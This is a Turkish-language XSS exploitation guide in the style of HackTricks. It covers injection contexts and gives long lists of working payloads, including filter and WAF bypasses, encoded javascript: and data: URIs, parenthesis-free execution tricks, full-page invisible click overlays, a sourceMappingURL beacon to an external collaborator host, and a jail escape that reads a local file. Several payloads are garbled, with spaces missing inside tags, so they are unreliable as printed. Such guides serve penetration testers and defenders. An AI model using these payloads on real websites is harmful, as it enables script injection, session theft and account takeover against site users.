Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşma yapabilen Polonyaca gereklidir).
Kontrol et eğer herhangi bir değeri kontrol edebiliyorsanız (parametreler, yol, başlıklar?, çerezler?) HTML'de yansıtılıyor veya JS kodu tarafından kullanılıyorsa.
Yansıtıldığı/kullanıldığı bağlamı bulun.
Eğer yansıtılıyorsa
Kullanabileceğiniz sembolleri kontrol edin ve buna bağlı olarak payload'ı hazırlayın:
Ham HTML içinde:
Yeni HTML etiketleri oluşturabilir misiniz?
javascript: protokolünü destekleyen olayları veya öznitelikleri kullanabilir misiniz?
Korumaları atlayabilir misiniz?
HTML içeriği herhangi bir istemci tarafı JS motoru tarafından yorumlanıyor mu (AngularJS, VueJS, Mavo...), İstemci Tarafı Şablon Enjeksiyonuni kötüye kullanabilirsiniz.
JS kodu yürütülen bir HTML etiketi içinde:
Ham HTML bağlamına çıkabilir misiniz?
JS kodu yürütmek için yeni olaylar/öznitelikler oluşturabilir misiniz?
Diziyi kaçırabilir ve farklı JS kodunu yürütebilir misiniz?
Girişiniz şablon dizelerinde mi ``?
Korumaları atlayabilir misiniz?
Kullanılan Javascript fonksiyonu
Yürütülecek fonksiyonun adını belirtebilirsiniz. örn.: ?callback=alert(1)
Eğer kullanılıyorsa:
DOM XSS'i sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girişinizin herhangi bir sızıntı tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler:
Bir XSS'yi başarılı bir şekilde sömürmek için bulmanız gereken ilk şey, web sayfasında yansıtılan sizin kontrol ettiğiniz bir değer olmalıdır.
Orta düzeyde yansıtılan: Bir parametrenin değerini veya hatta yolun yansıtıldığını bulursanız, bir Yansıtılan XSS'i sömürebilirsiniz.
Depolanmış ve yansıtılan: Siz tarafından kontrol edilen bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir Depolanmış XSS'i sömürebilirsiniz.
JS aracılığıyla erişilen: Siz tarafından kontrol edilen bir değerin JS kullanılarak erişildiğini bulursanız, bir DOM XSS'i sömürebilirsiniz.
Bağlamlar
Bir XSS'yi sömürmeye çalışırken girişinizin nerede yansıtıldığını bilmelisiniz. Bağlama bağlı olarak, farklı yollarla keyfi JS kodunu yürütebilirsiniz.
Ham HTML
Eğer girişiniz ham HTML sayfasında yansıtılıyorsa, JS kodunu yürütmek için bazı HTML etiketlerini kötüye kullanmanız gerekecektir: <img , <iframe , <svg , <script ... bunlar sadece kullanabileceğiniz birçok HTML etiketinden bazılarıdır.
Ayrıca, İstemci Tarafı Şablon Enjeksiyonu'nu unutmayın.
HTML etiketlerinin özniteliği içinde
Eğer girişiniz bir etiketin özniteliği değerinde yansıtılıyorsa şunları deneyebilirsiniz:
Öznitelikten ve etiketten çıkın (ardından ham HTML'de olacaksınız) ve kötüye kullanmak için yeni HTML etiketi oluşturun: "><img [...]
Eğer öznitelikten çıkabilir ama etiketten çıkamazsınız (> kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu yürüten bir olay oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
Eğer özniteliğin içinden çıkamazsınız (" kodlanmış veya silinmişse), o zaman hangi özniteliğe bağlı olarak değerinizin yansıtıldığına bağlı olarak tüm değeri kontrol ediyor musunuz veya sadece bir kısmını kontrol ediyor musunuz, bunu kötüye kullanabilirsiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu yürütebilirsiniz. Başka bir ilginç örnek ise href özniteliğidir, burada javascript: protokolünü kullanarak keyfi kodu yürütebilirsiniz: href="javascript:alert(1)"
Eğer girişiniz "kötüye kullanılamayan etiketlerin içinde" yansıtılıyorsa, zafiyeti kötüye kullanmak için accesskey hilesini deneyebilirsiniz (bunu sömürmek için bir tür sosyal mühendise ihtiyacınız olacaktır): " accesskey="x" onclick="alert(1)" x="
Angular'ın bir sınıf adını kontrol ediyorsanız tuhaf bir XSS örneği:
Bu durumda, girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyasının içinde veya javascript: protokolünü kullanarak bir özniteliğin içinde yansıtılır:
Eğer girdi <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak işareti içinde olsa bile, </script> enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce HTML etiketlerini ayrıştıracağını ve ardından içeriği ayrıştıracağını göz önünde bulundurarak çalışır, bu nedenle enjekte ettiğiniz </script> etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.
Eğer JS dizesi içinde yansıtılıyorsa ve önceki hile işe yaramıyorsa dizeden çıkmak, kodunuzu çalıştırmak ve JS kodunu yeniden oluşturmak zorunda kalırsınız (herhangi bir hata olursa, bu kod çalıştırılmaz):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Eğer template literal içinde yansıtılıyorsa ${ ... } sözdizimini kullanarak JS ifadelerini yerleştirebilirsiniz: var greetings = `Merhaba, ${alert(1)}`
Unicode kodlaması geçerli javascript kodu yazmak için çalışır:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting, işlevleri, değişkenleri veya sınıfları kullanıldıktan sonra bildirme olanağını referans alır, böylece XSS'in bildirilmemiş değişkenleri veya işlevleri kullandığı senaryoları kötüye kullanabilirsiniz.Daha fazla bilgi için aşağıdaki sayfaya bakın:
Birçok web sayfası, yürütülecek işlevin adını parametre olarak kabul eder. Vahşi doğada sıkça görülen bir örnek, genellikle şöyle bir şeydir: ?callback=callbackFunc.
Bir kullanıcının doğrudan verdiği bir şeyin yürütülmeye çalışıldığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin 'Vulnerable' olarak) ve konsolda şu gibi hatalara bakmaktır:
Eğer zayıfsa, sadece şu değeri göndererek bir uyarıyı tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu endpoint'lerin genellikle yalnızca harflere, rakamlara, noktalara ve alt çizgilere izin vermek için içeriği doğrulayacağı çok yaygındır ([\w\._]).
Ancak, bu sınırlamayla bile bazı işlemler gerçekleştirmek mümkündür. Bu, geçerli karakterleri kullanarak DOM'daki herhangi bir öğeye erişebileceğiniz anlamına gelir:
Ayrıca Javascript fonksiyonlarını tetiklemeyi de deneyebilirsiniz: obj.sales.delOrders.
Ancak genellikle belirtilen fonksiyonu yürüten uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, aynı kökten diğer sayfalar daha fazla eylem gerçekleştirmek için daha ilginç bir DOM'a sahip olacaktır.
Bu nedenle, bu zafiyeti farklı bir DOM'da kötüye kullanmak için Aynı Kök Yöntem Yürütme (SOME) sömürüsü geliştirildi:
Bir saldırganın kontrol ettiği gibi güvensiz bir şekilde bazı verileri kullanan JS kodu bulunmaktadır, örneğin location.href. Bir saldırgan, bunu kötü amaçlı JS kodu yürütmek için kullanabilir.
Bu tür XSS'ler her yerde bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafından sömürülmesine bağlı değildir, herhangi birbağlamda bulunabilirler. Bu tür keyfi JavaScript yürütme hatta RCE elde etmek, istemci ve sunucularda keyfi dosyaları okumak ve daha fazlasını elde etmek için kötüye kullanılabilir.
Bazı örnekler:
Girişiniz HTML sayfası içinde yansıtıldığında veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, yeni etiketler oluşturmak için <'yi kötüye kullanıp kullanamayacağınızı kontrol etmeniz gereken ilk şey budur: Sadece o karakteri yansıtın ve HTML kodlamasının yapılıp yapılmadığını veya silinip silinmediğini veya değişiklik yapılmadan yansıtılıp yansıtılmadığını kontrol edin. Yalnızca son durumda bu durumu kötüye kullanabilirsiniz.
Bu durumlar için ayrıca İstemci Tarafı Şablon Enjeksiyonu'ı da göz önünde bulundurun.
**Not: Bir HTML yorumu**** -->veya **--!> ile kapatılabilir.
Bu durumda ve siyah/beyaz listeleme yapılmamışsa, şu gibi yükler kullanabilirsiniz:
Ancak, etiket/özellik siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi zorla denemeniz gerekecektir.
Hangi etiketlerin izin verildiğini belirledikten sonra, bulunan geçerli etiketlerin içinde hangi özelliklere/etkinliklere zorla denemeniz gerektiğini görmek için.
Etiketler/Etkinlikler zorla deneme
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet adresine gidin ve Kopyala etiketleri panoya tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı bulunmayan herhangi bir etiketin olup olmadığını kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak tüm etkinlikleri zorla deneyebilirsiniz (aynı web sayfasında Kopyala etkinlikleri panoya tıklayın ve önceki işlemi aynı şekilde takip edin).
Özel etiketler
Geçerli bir HTML etiketi bulamadıysanız, özel bir etiket oluşturmayı deneyebilir ve JS kodunu onfocus özelliği ile çalıştırabilirsiniz. XSS isteğinde, sayfanın o nesneye odaklanmasını sağlamak ve kodu çalıştırmak için URL'yi # ile bitirmeniz gerekmektedir:
Eğer bir tür kara liste kullanılıyorsa, bazı saçma hilelerle bunu atlatmaya çalışabilirsiniz:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Uzunluk atlatma (küçük XSS'ler)
Farklı ortamlar için daha küçük XSS payload'larına buradan ve buradan ulaşılabilir.
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Tıkla XSS - Clickjacking
Eğer zafiyeti sömürmek için kullanıcının bir bağlantıya veya önceden doldurulmuş bir forma tıklaması gerekiyorsa, Clickjacking'i istismar etmeyi deneyebilirsiniz (sayfa savunmasızsa).
İmkansız - Dangling Markup
Eğer sadece bir HTML etiketi oluşturmanın ve JS kodunu yürütmek için bir özniteliği kullanmanın imkansız olduğunu düşünüyorsanız, Dangling Markup kontrol etmelisiniz çünkü zafiyeti JS kodu yürütmeksizin sömürebilirsiniz.
HTML etiketi içine enjekte etme
Etiketin içine/enjeksiyondan kaçma
Eğer bir HTML etiketinin içindeyseniz, deneyebileceğiniz ilk şey etiketten kaçmaktır ve JS kodunu yürütmek için önceki bölümde belirtilen bazı teknikleri kullanmaktır.
Eğer etiketten kaçamıyorsanız, etiketin içine yeni öznitelikler oluşturarak JS kodunu yürütmeyi deneyebilirsiniz, örneğin (bu örnekte çift tırnaklar özniteliğinden kaçmak için kullanılmıştır, girişiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmayacaktır):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Öznitelik İçinde
Öznitelikten kaçamıyor olsanız bile (" kodlanıyor veya siliniyor), hangi özniteliğe değerinizi yansıttığınıza bağlı olarak tüm değeri kontrol ediyor olmanız veya sadece bir kısmını kontrol ediyor olmanıza bağlı olarak bunu istismar edebilirsiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıkladığında keyfi kodu çalıştırabilirsiniz.
Başka bir ilginç örnek, href özniteliğidir, burada javascript: protokolünü kullanarak keyfi kodu çalıştırabilirsiniz: href="javascript:alert(1)"
HTML kodlama/URL kodlama kullanarak etkinlik içinde atlatma
HTML etiketlerinin öznitelik değerlerindeki HTML kodlanmış karakterler çalışma zamanında çözümlenir. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (payload kalın olarak belirtilmiştir): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Geri Dön </a>
Her türlü HTML kodlamanın geçerli olduğunu unutmayın:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Unicode kodlamasını kullanarak iç etkinliği atlayın
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Özel Protokoller Özniteliğin İçinde
Bazı yerlerde keyfi JS kodunu çalıştırmak için javascript: veya data: protokollerini kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirirken bazıları gerektirmeyebilir.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarak, javascript: protokolü, href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çok sayıda etikette src özniteliğini kabul eder (ancak <img)
Ayrıca, bu durumlar için başka bir güzel hile var: Girdiniz javascript:... içinde olsa bile URL kodlanmış olsa bile, çalıştırılmadan önce URL kodu çözümlenecektir. Dolayısıyla, dize içinden tek tırnak kullanarak kaçış yapmanız gerekiyorsa ve URL kodlanmış olduğunu görüyorsanız, önemli olmadığını hatırlayın, çalıştırma zamanında tek tırnak olarak yorumlanacaktır.
Not almak için URLencode + HTMLencode'yi herhangi bir sırayla kullanmaya çalışırsanız çalışmayacak, ancak payload içinde karıştırabilirsiniz.
javascript: ile Hex ve Octal encode kullanma
iframe'ın src özniteliği içinde HTML etiketlerini çalıştırmak için Hex ve Octal encode kullanabilirsiniz:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Ters sekme kapma
<atarget="_blank"rel="opener"
Eğer target="_blank" ve rel="opener" özniteliklerini içeren bir keyfi <a href= etiketine herhangi bir URL enjekte edebilirseniz, bu davranışı sömürmek için aşağıdaki sayfayı kontrol edin:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
Buradan alıntı: Gizli bir özniteliğin içinde XSS yükü çalıştırabilirsiniz, kurbanıanahtar kombinasyonunuikna edebilirseniz. Firefox Windows/Linux'ta anahtar kombinasyonu ALT+SHIFT+X ve OS X'te CTRL+ALT+X'dir. Erişim anahtarı özniteliğinde farklı bir anahtar kullanarak farklı bir anahtar kombinasyonu belirleyebilirsiniz. İşte vektör:
Eğer web sitenin çok küçük bir bölümünde XSS bulduysanız (belki altbilgide bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı alanı değiştirmeyi deneyerek bağlantının tetiklenme olasılıklarını maksimize edebilirsiniz.
Örneğin, öğeye şöyle bir stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Araçları kullanabilirsiniz, böylece örneğin şunu bulursanız
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
Şimdi bağlantımızı değiştirebilir ve şu forma getirebiliriz
Bu durumda girdiniz, bir .js dosyasının JS kodu içinde veya <script>...</script> etiketleri arasında veya JS kodunu yürütebilen HTML etkinlikleri arasında veya javascript: protokolünü kabul eden öznitelikler arasında yansıtılacaktır.
<script> etiketinden Kaçma
Kodunuz <script> [...] var input = 'yansıtılan veri' [...] </script> içine yerleştirilirse, kolayca <script> etiketini kapatabilirsiniz:
Bu örnekte bile tek tırnak kapatılmamış. Bu, tarayıcı tarafından önce HTML ayrıştırmasının gerçekleştirilmesinden kaynaklanmaktadır, bu işlem sayfa elemanlarını tanımlamayı içerir, içinde betik blokları da bulunur. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
JS kodu içinde
Eğer <> temizleniyorsa, girişinizin bulunduğu yeri kaçırabilir ve keyfi JS yürütebilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü hata varsa, JS kodu yürütülmeyecektir:
Tek ve çift tırnakların yanı sıra ters tırnakları` ` kullanarak diziler oluşturmak için JS de kabul eder. Bu, ${ ... } sözdizimini kullanarak yerleşik JS ifadelerine izin verdiği için şablon dizeleri olarak bilinir.
Bu nedenle, girdinizin ters tırnak kullanan bir JS dizesi içinde yansıtıldığını fark ederseniz, ${ ... } sözdizimini kullanarak keyfi JS kodunu yürütmek için kötüye kullanabilirsiniz:
Bunu kullanarak kötüye kullanılabilir:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Kodun kodlanmış şekilde çalıştırılması
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript boşlukları
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Yorum içinde Javascript
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
Parantez olmadan JavaScript
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM açıkları
Bir saldırgan tarafından kontrol edilen güvensiz verileri kullanan JS kodu bulunmaktadır, örneğin location.href. Bir saldırgan, bunu isteğe bağlı JS kodunu yürütmek için kötüye kullanabilir.
DOM açıklarının açıklamasının genişletilmesi nedeniyleDOM açıkları bu sayfaya taşındı:
Orada, DOM açıklarının ne olduğu, nasıl provoke edildiği ve nasıl sömürüldüğü hakkında detaylı bir açıklama bulacaksınız.
Ayrıca, söz konusu gönderinin sonundaDOM Clobbering saldırıları hakkında bir açıklama bulabilirsiniz.
Diğer Atlatmalar
Normalized Unicode
Sunucuda (veya istemci tarafında) yansıtılan değerlerinunicode normalize edilip edilmediğini kontrol edebilir ve bu işlevselliği kötüye kullanarak korumaları atlayabilirsiniz. Burada bir örnek bulabilirsiniz.
PHP FILTER_VALIDATE_EMAIL bayrağı Atlatması
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails atlatma
RoR toplu atama nedeniyle alıntılar HTML'e eklenir ve ardından alıntı kısıtlaması atlatılır ve etiketin içine ek alanlar (onfocus) eklenebilir.
Form örneği (bu rapordan), eğer payload'ı gönderirseniz:
Eğer bir 302 Yönlendirme yanıtında başlıklara enjekte edebileceğinizi fark ederseniz, tarayıcının keyfi JavaScript'leri çalıştırmasını sağlamayı deneyebilirsiniz. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için kolay değildir, bu yüzden sadece bir çapraz site betik yükü işe yaramaz.
Bu raporda ve bu raporda tarayıcının konum başlığında birçok protokolü test edebilir ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.
Bilinen protokoller: mailto://, //x:1/, ws://, wss://, boş Konum başlığı, resource://.
Sadece Harfler, Sayılar ve Noktalar
Eğer javascript'in çalıştıracağı geri çağrıyı sadece bu karakterlerle sınırlayabileceğinizi belirtebiliyorsanız, bu davranışı nasıl kötüye kullanacağınızı bulmak için bu yazının bu bölümünü okuyun.
Geçerli <script> İçerik Türleri XSS için
(Buradan alıntı) Eğer application/octet-stream gibi bir içerik türü ile bir betik yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(buradan) Peki, hangi türler bir komut dosyası yüklemek için belirtilebilir?
<scripttype="???"></script>
Cevap:
modül (varsayılan, açıklanacak bir şey yok)
webbundle: Web Paketleri, bir dizi veriyi (HTML, CSS, JS...) bir .wbn dosyasına paketleyebileceğiniz bir özelliktir.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: İçe aktarma sözdizimini iyileştirmeye olanak tanır
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Bu davranış, bir kütüphaneyi yeniden haritalandırmak için eval'e kötüye kullanarak tetikleyebilecek XSS oluşturmak için bu yazıda kullanıldı.
speculationrules: Bu özellik genellikle ön render işleminden kaynaklanan bazı sorunları çözmek için kullanılır. Şu şekilde çalışır:
Sayfa text/xml içerik türü döndürüyorsa bir namespace belirtmek ve keyfi JS çalıştırmak mümkündür:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Değiştirme Kalıpları
Bir şeyin "some {{template}} data".replace("{{template}}", <user_input>) şeklinde kullanıldığı durumlarda, saldırgan özel dize değiştirme kullanarak bazı korumaları atlamaya çalışabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Örneğin bu yazıda, bu, bir betiğin içindeki bir JSON dizesini kaçırmak ve keyfi kodu yürütmek için kullanıldı.
Yalnızca sınırlı bir karakter kümesi kullanabiliyorsanız, XSJail sorunları için bu diğer geçerli çözümlere göz atın:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
